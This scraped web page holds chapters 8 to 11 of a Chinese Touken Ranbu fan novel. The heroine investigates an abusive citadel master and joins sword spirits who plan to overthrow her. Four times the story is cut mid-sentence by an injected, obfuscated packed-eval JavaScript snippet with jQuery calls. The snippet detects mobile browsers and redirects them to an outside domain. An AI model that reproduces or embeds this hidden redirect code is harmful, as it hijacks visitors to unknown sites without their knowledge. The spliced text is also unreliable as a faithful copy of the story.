;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640508|172683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
临走之前,爱染国俊站在门口对她说,“三日月殿,修养好请尽快离开这里吧。我们没有办法招待您,尽快离开会更好。”
简单的一句话背后似乎藏着千言万语,辉月忙问,“你呢,爱染,你没关系吗?”
“我可是有爱染明王加护,没有问题的!”
红发的短刀将胸口的衣服上的图案扯平给辉月看,那黑线勾勒出的爱染明王像就那样盘膝端坐在莲花上,无声地注视着辉月、注视着爱染国俊,也注视着这个本丸。
说完他便跑了出去。
就在这荒废许久的部屋内,短暂的相处后,他看上去比初见时增添了不少活力,也将心中对辉月的亲近直白地表现了出来,或许再见几次面,他就会愿意敞开心扉,告诉辉月这个本丸到底发生了什么,他们究竟遇到了什么困难。
事情似乎是在往好的方向发展,但辉月莫名感到了些不安。
她眼前闪过爱染欲言又止的模样,他看起来有很多话想要诉说,但最后还是选择了闭口不言。
他的眼睛望着她,没能说出的东西似乎都从眼睛里宣泄而出了。承接那份目光的辉月心里沉甸甸的,越来越在意这个本丸到底发生了什么。
想要知道爱染的未能说出口的话语,想要知道一期变成如今这样的原因,她必须要采取行动。
只在部屋等着一个两个付丧神来找她过于被动,她必须得主动离开部屋,前往本丸的其他地方,即使这样会违反规则。
那也未尝不可,适当地违反规则也是加深了解的方式之一。
她已经做出决定,于是利落起身,推开部屋门走了出去。
出门的时候有多潇洒,站在空地上因迷路而左顾右盼就有多狼狈。
虽然她生前也分不清东南西北,但走两步也迷路也太夸张了吧。她回望来时的路,明明只是拐了个弯,怎么就分辨不清方向了。
算了,事已至此,继续走吧。反正都是要探明本丸情况,迷着路也可以探。
就这样走着走着,她走到了一处部屋前。
这里有着明显的活物生存的痕迹,建筑比她暂住的更新也更大,看得出来有人时常清扫,细节处又有更多磨损,连部屋门前的草丛也比别处稀疏。
因为之前在部屋门前长廊上看见的红色痕迹,辉月不由自主地往此处的长廊看去,门口的木板处有一个小动物的脚印,印子上沾着泥土。
带着小动物的刀剑付丧神,辉月的脑子里一下来蹦出来好几个刃选。
部屋的门紧闭着,很合理,毕竟是有着不要随便出门、不要随意走动的规则的本丸,选择紧闭部屋门是很好的防范措施。
但此刻,这扇门阻止了辉月进一步查看。
要过去看看吗?
这其实很危险。她已经违反了“不能单独行动”这一条,虽然暂时还什么也没发生,但或许是惩罚的到来有延迟,再违反一条规则,谁也说不准会怎么样。
但这座本丸太神秘了,越是被规则束缚着,她越是想要知道,规则的背后隐藏着什么。
要过去看看吗?
来的路上一路冷清,什么活物也没看见,空空如也,就好像这是一个被掏空的深洞。
然而面前的部屋不一样,直觉告诉她,里面有很危险也很关键的东西,似乎是一把直通boss关的钥匙,拿到就能直接解开这座本丸的谜题。
在这样的诱惑面前,理智阻止了她,直通boss关确实很快,但现在刚开始新手教程的她死得也会很快。
她正准备转身离开,到下一个地方去,就被一手从背后伸出的手捂住了口鼻。
8. 新手教程6
一瞬之间,四肢的血液向内倒流,手脚冰凉,愣了一秒后,她立刻将这当成是违反了规则的惩罚。
原来一个人行动真的会突然遇袭。
她下意识地要挣扎,却有另一双手拦住了她。一双手避免她发出声音,另一双手拦着她把她往后拖去。
什么东西有两双手?!这还真是恐怖主题的剧本啊,没人告诉我还有变异生物啊。
这下辉月真被吓到了,一下子慌了神,想要挣脱束缚,反而把自己弄得重心不稳,和身上的人一起摔到了地上。
“啊呀!”
天真的童声响在耳边。
“三日月你没事吧?”
这个声音是……辉月回过头去,看见了银发红瞳的小天狗——今剑。
“三日月殿还好吧,摔到了吗?”
他的身后又冒出一个头,是爱染。
太好了,不是什么四只手的怪物,是两把短刀。两把刀合力将她从地上拉了起来。
她正要大舒一口气,望见面前的担忧地看着她的今剑,连忙把这口气又憋了回去,收起脸上后怕的表情。
面前的短刀可是她这个壳子,三日月宗近的兄长,可不能让他看出异样来。
她拼尽全力维持脸上的表情,没法像千年老刀一样遇事从容不破,至少保持在了“得体”的范围内,“没关系没关系,只是摔了一跤而已。倒是今剑兄长怎么在这里?”
这一问句瞬间让小天狗面上的担忧转换成了不高兴,他就像一个兄长教训幼弟一样狠狠敲了辉月一下,只是苦于身高,本该落在额头上的板栗最终落在了后腰上。
辉月配合得做出一个踉跄,这才让今剑不悦的神色消下去一半。
他说,“我要问你才对,你怎么会一个人在粟田口部屋门口。陆奥守没有跟你说这样很危险吗?如果我们没有抓住你,你是不是还要过去看,不能随便靠近别人部屋,这个也有说的吧。三日月真是的,刚见面就让人这么担心。”
小天狗教训人也闲不住,一边说一边踩着小高跷围着辉月蹦来蹦去。
实在太可爱了,辉月被教训也一点不生气,反而顺着今剑的话道了歉。
“哼,先不说这个了,快先离开这里。”
今剑和爱染带着辉月来到了他们的部屋。
初见的喜悦还是盖过了担忧和不悦,一进部屋,今剑便跳进了辉月的怀里,来了个结结实实的拥抱。
刀剑本身是没有温度的,但化为人形的他们拥有了人的□□,也拥有了人的温度。
辉月的怀抱里很快温暖起来,像是抱着个温度刚刚好的暖手壶,那让人心尖发软的温度顺着与今剑相拥的地方向四肢传去。
明明任务还迫在眉睫,明明还身处不知底细的危险本丸中,她却整个人都柔软了下来。
今剑此刻也被温暖与感动包裹着,辉月低头便能看见他微红的眼眶。
他或许正沉浸在与幼弟的久别重逢,其间还搀着些经历许多后再见家人的微不可查的委屈。
多么感人的场景,爱染在一旁不愿上前打扰。
在场所有人都沉浸在这种氛围中,只有辉月觉得可惜,毕竟她不是三日月宗近,只是一位对今剑而言完全陌生的审神者。
他如果知道这件事,也不会像此刻一样,亲近地依偎在她怀里了吧。
为之可惜的同时,辉月从今剑的反应中感觉到了不安,他低头埋在她的肩颈处埋了许久,久到辉月暗自担心他是不是在偷偷哭泣。
“今剑兄长?”她轻轻地问,唯恐惊扰了他。
今剑这才从她的怀里起身,还好没有哭过的痕迹,察觉到辉月对他的担忧,反而反过来安慰辉月。
仗着辉月蹲下身拉近了身高差,他抬手拍了拍辉月的头,“虽然很想和三日月一起玩,但是不可以哦。在这里必须要听陆奥守的话,不能蹦来蹦去、跑来跑去的哦。”
说到这他微微皱了皱眉,显然对不能蹦蹦跳跳到处玩耍的生活十分不满,但目光落到辉月身上他又露出一个笑容,“不管没关系,只要一会会就好,等三日月离开这里就可以尽情玩耍啦。”
辉月望着他的眼瞳因笑而微微眯起,红色的眼影挂在眼尾将笑衬得更加艳丽,听着可爱而充满活力的童声尾调轻飘飘地上扬。他在为辉月能够离开这里而发自内心高兴,辉月却无法拥有与他相同的心情。
“这里到底发生了什么?”
这句话或许不该在此时来问,不该这么着急地问,今剑很明显希望误入此处的三日月能够安然离去,又怎么会把之前的事情告诉她。
但辉月的心被今剑的话、被他的笑搅乱了,一时心急就这么问出了口。
果然今剑闻言回避了她的眼神,后退一步犹豫一瞬又坚定地握住辉月的双臂,“什么也没有哦,就当是一场游戏吧,游戏不是都有规则吗,三日月遵守就好啦。等明天……不今天傍晚之前,我就和爱染一起把你送出去。”
“今剑兄长。”辉月轻唤一声。
爱染说,“今天就走?也太着急了,陆奥守说还要准备点行囊,至少也要明天吧。”
今剑被提醒后恍然惊叹,“对哦!还有行囊呢。路上没有人照顾,三日月一定会把自己弄得一团糟的,要多准备一点。”
虽然三日月宗近确实是不会照顾自己的人设,但是说把自己弄得一团糟也太夸张了吧。这就是长兄对幼弟的滤镜吗?
今剑积极主动地考虑着要带哪些东西,俨然一副要尽早把人送走的架势,连带着爱染也激动起来,自荐要帮忙准备。
辉月无奈地看着两把短刀讨论该如何照顾一把太刀,你一言我一语,一时之间竟插不上话。
“今剑,”终于在辉月正色地喊出他的名字时,今剑才停了下来,“之前发生了什么?”
今剑低着头,固执地抵抗着辉月对过往真相的探寻,“一定要问吗,对三日月来说是无关紧要的事情,不要再问不就好了。”
他扭过头去,只留给辉月后脑勺上扎起的小丸子,企图以此向辉月表示抗议。这幅样子简直就像小孩子耍脾气,但辉月知道不是的,他只是在担心她,他只是不想她被卷入这场让人不安的事件。
但这是不可能的,她已经看见了这个本丸的不对劲,发现了许多刀剑的异常行为,就不可能装作视而不见。她来到这里本就是为了解决问题。
更何况,如果不小心来到这里的是真的三日月宗近,在看到今剑这样不安又这样地牵挂他,也一定会留下来直到查寻到问题所在。
今剑是害怕过度的接近,与真相的接近也好,与他的接近也好,会让辉月对这里、对
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640509|172683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他产生留恋,主动或是被动地被牵扯进来,受到他们曾经受过的伤害。
所以他转过头去,就好像不看辉月,辉月就能挥一挥手轻巧地一走了之。
他在意她,担心她,以这样孩子气的方式,但又那么可爱。
辉月没有强硬地靠近他,只是坐在那里,望着今剑留给她的背影轻轻地说,“是无关紧要的事情吗,在今剑兄长的心里,我们之间是无关紧要的关系吗?我的心情和你是一样的,如何才能做到漠不关心地一走了之呢。”
辉月说得真挚,换来了今剑的沉默和爱染的动容。
爱染说,“今剑殿告诉她吧,兄弟之间没有什么好隐瞒的才对吧。”
今剑没有说话,爱染又说,“如果你说不出口,就让我来说吧!”
“不可以!”今剑双手握拳大喊道,“才不是这样的,三日月什么都不用知道!”
他终于转过身来对辉月说,“事情没有你想象的那么简单,过去的事情已经过去了,现在的生活也没有什么不好的。已经没有人再会痛苦了,出阵也好,初步的治疗也好,我们都可以做到。所以没有什么好让三日月担心的,我已经对现状很满意了。”
他的情绪随他的话语一起宣泄而出,眼泪从他眼角落下,他灵巧转身,背对着门口将自己埋进了阴影里,将眼泪也掩盖起来。
气氛一时沉寂下来,就好像这座本丸也在为之哀叹。
今剑的情绪十分激动,如果不安抚好,接下来很难进行任何事情。
辉月暗自叹了口气,对爱染轻声说,“有些口渴了呢,可以拜托爱染找些茶水来吗?”
刚刚被吼后便僵在原地的爱染终于被解放了,他应了声看了眼自闭似的今剑,丢下一句“我觉得不管怎么样,都应该把事情直接说出来”便飞也似的跑出去了。
望着那如释重负窜出去的身影,辉月想事后要好好感谢爱染啊,如果不是他引发了今剑的情绪爆发,今天还真难找到问出真相的突破口。
至于现在。
她缓慢地向今剑靠近。
情绪爆发的时候也是人最脆弱的时候,只要方式得当,这时也正是打开人心扉的好时候。
不过这也算是趁人之危了。
心怀半分对今剑的愧疚,她从背后抱住了今剑。
身材娇小的小天狗轻易就被她抱了个满怀,或许是因为心疼而产生的错觉,她感觉怀里的孩子轻得好像下一秒就要消失。于是她稍稍用力,想要将他挽留。
直到今剑慢慢地从她身上汲取温度,直到他从一动不动的状态中脱离,将手搭上辉月环绕着她的手臂,她才开口,“兄长在难过吗?可以告诉我哦,没关系的。孤独也好,悲伤也好,为兄长分担这些,也是我的责任啊。”
她手臂上的那只小手骤然收紧,在她的衣摆上扯出深深的褶痕。
“不是的,”他的声音轻得如同羽毛一样,将要随风飘散,“在这里不是这样的。兄弟,是会让彼此受伤的。
粟田口的大家,左文字和堀川派的兄弟,在习合场刀锋相对,大家的身上都是彼此造成的伤口。我和爱染真的很庆幸,我们的家人没有来到这里。”
辉月的心一下子缩紧了,声音也变得干涩起来。
“是、是这里的审神者让他们那么做的吗?”
9. 新手教程7
今剑没有回答,但辉月感受到他骤然紧张的身体,看见他低下的头。
即使已经有了这样的预期,但猜想印证时,辉月还是感到一阵的难以置信。
让同刀派感情深厚以兄弟相称的刀剑们互相攻击,这是何等大的恶意。即使刀剑付丧神的本体是刀剑,是冰冷的铁器,在接收灵力化形拥有人型后,也在向人靠近着,拥有了人的情感。亲眼看着自己手中刀在重视的兄弟身上留下伤口、造成蜿蜒的血迹,看着对面的他无力支撑地倒下,他们心中是自责、后悔、不解还是在痛苦中安静地滋养着恨呢。
难怪今剑那么迫切地希望她立刻离开,难怪会在刚刚情绪奔溃。
辉月脑海中回溯过一幅幅画面:
不再害羞的山姥切国广,像是对周遭一切失去了感知能力,无情地要求丢下她。
出阵队伍中无比冷漠的堀川国广,站在最偏远的位置投来冰冷的视线。
初夜夜袭而来的一期一振,对着紧闭的部屋门默默拔刀。
她于是理解他们为什么会如此警惕,正是因为承受过太多的恶意,才会对身边陌生的存在持有十二分的警惕。尤其当他们自身变成刺向兄弟的利刃,连自己都可能为兄弟带去伤害,这世间又有什么可以信任。
可这本不是他们应当承受的。
“我不会这样的,我不会伤害今剑,今剑也不会伤害我的。”辉月说。
“可是、可是……”
今剑不敢去相信。
辉月看出了他心中的胆怯,起身走到了他面前,侧身贴着他坐下。抬手轻柔地托起今剑的脸,让他能看见自己,她望着今剑的眼睛说,“可以相信我吗?”
月亮,悬挂在寂静夜空的月亮,总是那么耀眼,让人见之不忘。但是奇怪,望向面前这振特殊的“弟弟”的眼睛,今剑看到的却不是眼眸中的新月。
是大海,他在她的眼里看见了一望无际的大海,无风无浪,水波不兴。
她没有很坚定地兀自强调什么,要求他去冷静,要求他去信任。只是望着她的眼睛,今剑便觉得心情如那海面一般平静下来。
见今剑的情绪不像起初那样激烈,辉月将托着他脸的手移开,放在了他的肩上,想以此给他更多一点的支撑。
“来了这么久,还一直没有见过这里的审神者,真想知道这位大人是什么人。”辉月也不知道自己是以什么的心情说出这句话,一股无名火堵在胸口,让她真想亲自会会这个审神者。
刀剑存在的意义便是斩杀敌人,刀剑付丧神的存在更是为了与时间溯行者战斗,以守护历史。而这人作为刀剑的主人,作为审神者,却用刀剑付丧神满足自己邪恶的私欲,让他们互相伤害以取乐。
完全失格的审神者到底是什么样?
她的疑惑中带着自己也未曾察觉到的冷静的愤怒。
欺负信任着人类的付丧神算什么本事,有种来跟她人类对人类地硬碰硬试试呢。
“她在天守阁。我们也已经很久没见过她了,她不会出来,三日月也不要去见她好吗?”
被安慰好的小天狗,重新与辉月亲近起来,他仗着娇小的个头扑到辉月身上,将头埋在辉月的肩上,撒娇一样地说着。
“她不会出来吗?”辉月再次将今剑揽进怀里。
“嗯嗯,不会哦。嗯……她应该不敢出来了吧,反正有长谷部守着她,也不用担心她会怎么样。”
今剑的语气尽量轻松,但还是能听出来心中的复杂。主人、审神者的称呼在嘴里打了一架,最后还是称之为“她”。
辉月注意到今剑说的是不敢。不敢出来,不是不想也不是不能,其中似乎还有更复杂的状况。会让审神者龟缩天守阁不敢出门,难道是之前的事情做得太过分导致有刀剑反抗甚至试图弑主了?
辉月希望事情不是这样,毕竟她没来得及问A56关于暗堕的信息。
她把刀剑乱舞当游戏打的时候,暗堕是同人设定,官方并不存在,但这个世界是否也是一样,她就说不准了。
在暗堕的设定下,如果有刀剑弑主,那他就会暗堕。
属于神明的圣洁被染上血色与黑暗,从此与过往的自己、与正常的自己分道扬镳,坠入恶意侵染的深渊。
千万不要啊,这种事情可以她来做,反正她不是标准刀剑付丧神,不怕暗堕……吧?
沉浸在思绪里的辉月被身前的拉扯感唤回神智。今剑抬着头,睁着那双橙红色的眼睛期待地看着她,“所以,可以答应我吗?”
辉月这才反应过来,对于希望她不要去见审神者的请求还没有回复。
这个孩子真的很没有安全感啊。
“那兄长同意我留下来,多休息几天了吗?”辉月不答反问。
就算是小孩子的模样,小孩子的性格,年龄上也是三条派的大哥。今剑没有被这么糊弄过去,非常坚决地说,“不可以!等我和爱染帮你把行囊收拾出来,我就送你离开。”
辉月无奈失笑。
该说的话都说完了,今剑跳起来就要去找爱染。一边因刚刚凶了爱染而苦恼着该怎么道歉,一边勒令辉月就呆在这里哪里也不要去,他蹦蹦跳跳地出了部屋。
今剑走后,部屋内再无其他人,辉月摸了摸耳垂上凸起的耳钉说,“刚刚今剑说的你听见了吗?”
“是的,我听见了。”A56答,“刚刚您与今剑大人的对话这边已经完整记录,确定该本丸审神者失格,罪名为迫使同刀派刀剑自相残伤。已向上级申报紧急搜查。”
“意思是时政会派遣专门负责的人过来吗?”
“是的,以时政中心所在时空为标准,大约需要三天时间,稽查队就会达到您所在的本丸。介于您是第一次参与特殊调查,这边建议您如今剑大人所言,尽早离开本丸。”
A56为了她的安全着想,也算是殚精竭虑,不止一次强调优先保证安全,这倒是和今剑的想法殊途同归了。只是辉月心有疑虑,罪名是迫使同刀派刀剑自相残伤么,只是自相残伤么。
如果只是这样会让一期一振紧张到神经质的地步,在路过暂住的刀剑部屋门外拔刀吗?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640510|172683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
如果只是这样会让今剑担心到无论如何都要她离开,他甚至并未亲身参与事件。
如果只是这样会让一座本丸变成规则类怪谈的模样吗?
真相还没能被挖掘出来,一句简简单单的自相残伤后似乎还隐藏着更多秘密。
更何况,辉月还没有忘记在最开始A56对她说的,这座本丸碎过刀。碎的什么刀,为什么会碎刀,在确认审神者失格的情况下还能将其视为意外吗。
这座本丸发生了什么,真相只露出了冰山一角,还远没有到可以离开的时候。
辉月没有回话,这让A56心提了起来。这只是一次新手教程,一开始搞错了难度就让他十分内疚了,他不想看到新接手的特殊调查员在这里受伤啊。要知道刀剑无眼,虽然拥有了融合刀剑付丧神神力的新身体,但辉月的灵魂才刚装进去,磨合还需要时间,这个时候她是发挥不出付丧神的应有的水准的,遇到失控的付丧神绝无一站之力。
他说,“会刻意让自己的刀剑互伤的人普遍心理扭曲,辉月大人长时间留在这里难保不会被施展手段造成伤害,何况还有异常付丧神,您一定要小心啊。”
“我知道,放心,我心里有数。更何况,我不是孤身一人。”
她是来调查事情真相,帮助这里的刀剑的,又不是来单挑幕后大boss。审神者虽然用心不良,但这个混乱的本丸已经足够她喝一壶了,只要足够谨慎就不是问题。
至于异常付丧神,目前表现出明显攻击性的只有一期一振,但依昨晚的情况来看,粟田口的短刀们有在很努力地控制着他们的兄长。
就在这时,A56突然警示道,“检测到有刀剑付丧神接近,请辉月大人小心。”
有刀剑付丧神过来?
辉月下意识想到刚刚出去的今剑,是带着爱染回来了吗?她在屋内等了一会,等两把短刀飞一样地撞进来,却没有等来任何响动。屋外没有人走近的脚步声,连风声也没有,安静地让人忧虑。
可以确定来者一定不是住在这座部屋原本的刀剑了,那几振都是活泼的阳角,做不出这种诡异的事情。
“A56你确定有付丧神过来了?”即使门外没有声响,她也压低了自己的声音。
或许是被氛围感染,A56的声音也轻了起来,“是的,检测结果可靠。这是我刚刚新装的功能,就为了防止再出现昨晚的情况,代码是从前辈那讨来的,绝对好用。肉眼未能发现行踪,连检测结果都很模糊,这应当是一振极其擅长隐匿的刀剑。”
知道屋外有人却捕捉不到一点踪迹的感受并不美妙,难以辨别是错觉还是真实,好似有蛛网一样的视线落在辉月身上,让她倍感坐立难安。
这座本丸里刀剑的异常行为都是往诡秘方向发展的吗?
昨晚的一期也是,现在门外这个也是。
再僵持下去没有任何意义,山不来就我,我去就山。
辉月主动走出,立于部屋门前,对着空阔潦草的庭院说道,“客人来了却不现身,需要我邀请一下吗?”
10. 新手教程8
闻言黑发蓝瞳的胁差才从庭院的树木后现身,有着一张笑起来就让人心暖暖的可爱面庞的堀川国广,此时脸上毫无情绪流动,就仿佛一场干旱席卷而来将肥沃土地熬成了荒漠,他身体里所有情绪都被抽干。
即使被辉月从藏身之处叫出来,他也没有表现出任何诧异,“没有看见我,却主动走出来,不怕被我暗杀吗?”
辉月并没有被他轻而易举说出的暗杀吓到,反而露出一个笑,“看来并不会呢,我现在还好好地站在这里。”
“这样啊,相比邪道的我,您看起来真是正大光明。那么,要聊聊吗?”
堀川微微侧身,示意辉月跟自己走。
在这样一个被确定为异常的本丸,孤身跟随陌生刀剑前往部屋是一件危险的事情,但清醒一点讲道理,这个本丸哪里不危险。
所以辉月稍一思索便说,“请带路吧。”
辉月的回答来的比想象中的快,引得堀川多看了她一眼,毫无热度的目光稍稍有了波动。他率先转身往外走。
跟着堀川穿过几处庭院,绕过几处回廊,他们终于来到这一程的目的地。
凭借着薄弱的方向感,她察觉到本丸里几处时常住人的部屋都隔着遥远的距离。这里的刀剑付丧神们似乎分成了几派,分隔而居。
以陆奥守初始刀为中心,今剑、爱染关系更亲近;粟田口大家族自然是一起的;压切长谷部自成一派;而堀川避着今剑来见她的行为彰显了第四个派系的存在。
审神者的失职与事后隐身,导致了本丸内派系林立,对辉月来说也不知道是好事还是坏事。
堀川推开了门,或许是付丧神的身体自带的敏锐察觉力,在踏入部屋之前,辉月已经感觉到了里面不安分的气息,躁动着的,好似要吞噬什么。
她的脚步在门前停了一瞬,又自然地继续走了进去。
已经从今剑哪里得知本丸异常的原因,事到如今她相信本丸的大家都是好孩子,只不过是遭遇过一些不公的对待。如果连她都要以迟疑的姿态面对本丸其他的刀剑,他们又该怎么信任她呢。
所以即使知道部屋里藏了出乎意料的存在,辉月还是跟进去了。
在她进去的一瞬间,落于后方的堀川抬手往后一推,关上了部屋门。
凛然的气氛扑面而来,杀意如果可以化为实体,她将看见尖锐刀锋直刺过来。她立刻起了生理反应,衣袍之下汗毛竖起,一股凉意从脚开始上涌。
但也是在这刻,她的心反而放了下来。
因为她感觉到了这股杀意不是冲她而来的。
部屋里除了刚到的她和堀川国广,还坐着两位刀剑付丧神。
正对着部屋门直视着辉月的大和守安定,和蹲坐在角落整个人埋在白布里的山姥切国广。
相比于陆奥守、今剑和爱染住一起,面前这个阵容更为正常,也更在意料之中,只是总让人觉得少了两振刀剑。
看见辉月十分自然地走到他们对面坐下,大和守安定和堀川交换了一个眼神。
不愧是平安时代的刀剑,在这种局势下也如此泰然自若。这样一把新来到此的刀剑,会给他们带来的是助力还是阻力,谁也无法预料。
但是不管是从哪来的什么人,他们都会抓住这个机会,达到他们的目的。
最先发难的是始终直视着辉月的大和守安定。
在辉月坐下后,他微微向前倾身,明明是本性很可爱的打刀,此刻身上的气势却不容小觑,“看着自己的兄弟身处地狱之中,你居然是这样漫不经心的态度。就这么离开,难道不会觉得羞愧吗?”
辉月的脑海中冒出的第一个想法是,他怎么知道今剑想要她尽快离开。
稍一反应她便回过神来,今剑会立刻将她送走只是他们的猜测,事实是他们并不知道她已经打算留下来直到时政的搜查员到达。
既有温和可爱一面,也有魔王一般面貌的大和守安定,在这种处处不安的环境里,将原本只在战斗时流露的狂放完全释放了。
坐在他的对面,接受着他的直视,相当具有压迫感,但她不会也不能将任何一点慌乱表现出来。握紧的双手藏在长而宽大的衣袖里,一同藏起的还有在大和守逼视下生出的紧张。
既是因为她现在披着以优雅豁达闻名的三日月的壳子,更因为越是在这样紧张的局面下露怯,越是容易遭到胁迫。很多时候言语交锋,气场是胜利的第一步。在这点上经历职场洗礼又从企业跳出来单干的辉月很有自信,她什么大场面没见过。
两次呼吸间,她便缓解了自然而生的紧张,半遮下眼眸让对面的刀剑付丧神难以看清自己的神情,唯有脸上还挂着的浅笑散发着柔和的光,看上去神秘又优雅。
“你想说什么呢?”她说得温柔,却无端让人紧绷。
大和守顿了一下说,“如果我重要的同伴面临这些,我一定不会离开,我会打破他面前所有的阻碍,和他一起去往光芒的未来。”
沉吟一声后她微笑开口,一针见血,“大和守,清光不在很寂寞吧。”
加州清光,大和守安定口中的重要的同伴,只要两人同时在本丸便总是形影不离。然而在这振大和守的身边却未能看见他,这便是辉月由此入手试探他的原因。
无论是加州已经无法行动,还是加州根本尚未来到,在他主动将自己带入到受害刃亲友的处境上时,便已露出了软肋。
话音落下,大和守的反应出人意料地平静,表情没什么变化,依然保持着之前的姿势。
但他骤然攥起的手显示出他的心情没有看上去那么平静。
“这种事情不需要你来管吧。”
很努力地绷住嘴角不往下压了,语气里却流露出几分不快。
果然涉及加州清光还是会表现出真情实感啊。
三言两语间,辉月试图通过他的言行去分析他的意图。
他说出口的话与其说是一种指责,不如说是诱导。他诱导辉月如他言语里的那样去做,其中也暗含了他想要做的事。
为了身陷此处的同伴打破阻碍么,如果阻碍来自于审神者呢。
谈及清光没能彻底破他的防,看来加州清光还未能来到这座本丸。
辉月大胆推断,他目前的心境是:无论如何希望清光不会来到这里,无论如何希望能在下一个地方和清光相见。
抱着这样的想法,他渴望摆脱面前的困境。会在战场上兴奋高呼首落死的少年,面对失格的审神者也是狂放派。既然审神者烂掉了,那就不要了。然而,审神者和刀剑的契约一旦绑下无法私自解除,除非一方死亡。
这家伙是在向我发起反叛的邀请,并用这些话语测试我的态度啊。
今剑说过,现在的生活他觉得没有什么不好。
如果说今剑他们是选择了维持现状,那么这个部屋里的刀剑付丧神们便是想要打破现状的一方了。
辉月终于抬眼细细将面前
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640511|172683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的刀剑们看过一遍,大和守安定、堀川国广和山姥切国广。
抱有这样心情的在这个本丸只有这三把刀剑吗?
如果是这样的话,怪不得他们一直按兵不动,甚至向并不熟悉的她寻求助力,这个数量有些少啊。
三把刀剑可以突破压切长谷部的阻拦到达审神者面前,但本丸其他的刀剑也不会坐视不理。想要保持现状的那几位难说还对审神者有几分衷心,但想来也不希望失去为他们、为本丸提供灵力的源头。毕竟那个源头现在困守天守阁,轻易出不来,对他们来说危险程度很低。
想到这辉月不禁感叹,论稳定还得是三角形啊,好一出三足鼎立。
“我明白了,”她说,“和你们一起的还有别人吗?”
大和守安定张了张嘴,被堀川国广的话拦截,“套取情报之前应该先表明立场吧。”
辉月看向堀川,对上了那双天蓝色的眼睛。
这应该是这里最不好应付的刃了吧,擅长暗杀的刀剑果然心眼也多。
就在辉月准备给出答复时,耳畔传来几声杂音。在下意识循声望去前,她克制住了自己的动作。
那个声音,听起来好像是从耳钉里传来的。
果然下一秒,A56在那边焦急又轻声地说道,“不要答应。辉月大人,不要答应。我们绝对不推荐帮助刀剑弑主,这不利于刀剑身心健康,也不利于您的!”
A56在“绝对”二字上狠狠加了重音,辉月相信如果不是她面前有别人,不能发出太大声音以免被发觉,A56能激动地破音。
事实上,能让循规蹈矩的A56在有其他刀剑付丧神在场时出声提醒,说明这个问题有点大啊。
辉月理解A56的紧张,也知道为什么不推荐这么做。
毕竟这样风险太大了。
这份风险不是指弑主难以成功。有她在这打破三方对立的平衡,不可能成功不了。
是弑主这件事本身对刀剑而言太过残酷了,为主而生的刀剑拔出自己的本体却是为了杀死自己的主人,简直就像亲手扼杀曾经的自己、亲手抹去自己存在的意义。就算没有暗堕的存在,也会让他们陷入迷茫与痛苦的漩涡。
至于她……
从始至终堀川一直斜睨着辉月,看她进入部屋,看她与大和守言语交锋。他的目光仿佛来自于视线死角的摄像头,记录下辉月的一言一行,在不为人知的阴影下逐帧分析。
就在此刻,他从辉月的神态里捕捉到了一丝犹豫,像是机器突然被注入了情感,他说,“不管怎么样,我们都会行动的。”
辉月不由得重新看他,那一瞬间,她似乎从他眼瞳深处望见燃烧的怒火,红色的焰火似乎要将他眼瞳中的天空焚烧殆尽。
只是望着他,辉月便觉得那火的热意要蔓延过来,将她的灵魂也灼伤。
知道接下来的举动可能会脱离三日月的行动框架,但辉月还是避开了他的视线,深深闭上了眼睛。
堀川是抱着怎样的决心说不管如何都要行动的,她不得而知。
可能会在行动中破碎,可能会与本丸其他的刀剑决裂,就算成功也会成为一把不祥之刃,永远蒙上弑主的阴影。即使这样也一定要做些什么打破现状。
作为一位曾任职多年的审神者,她已被那言语后的不计后果而震撼。
于是她说,“看来你们已经有计划了,那么就让我这个意料之外的变数,为你们的行动撕开突破口。”
11.新手教程9
之后一人,姑且算人,和三刃一起畅谈行动计划。
同意加入行动后,堀川他们便不再对她隐瞒,给出了更为详尽的关于本丸的情报。
关于本丸的所谓规则,以及一期一振。
他们说,一期一振已经疯了,因为他亲手斩断了自己的弟弟,药研藤四郎。而在此之前,粟田口已经碎过一振鸣狐了。
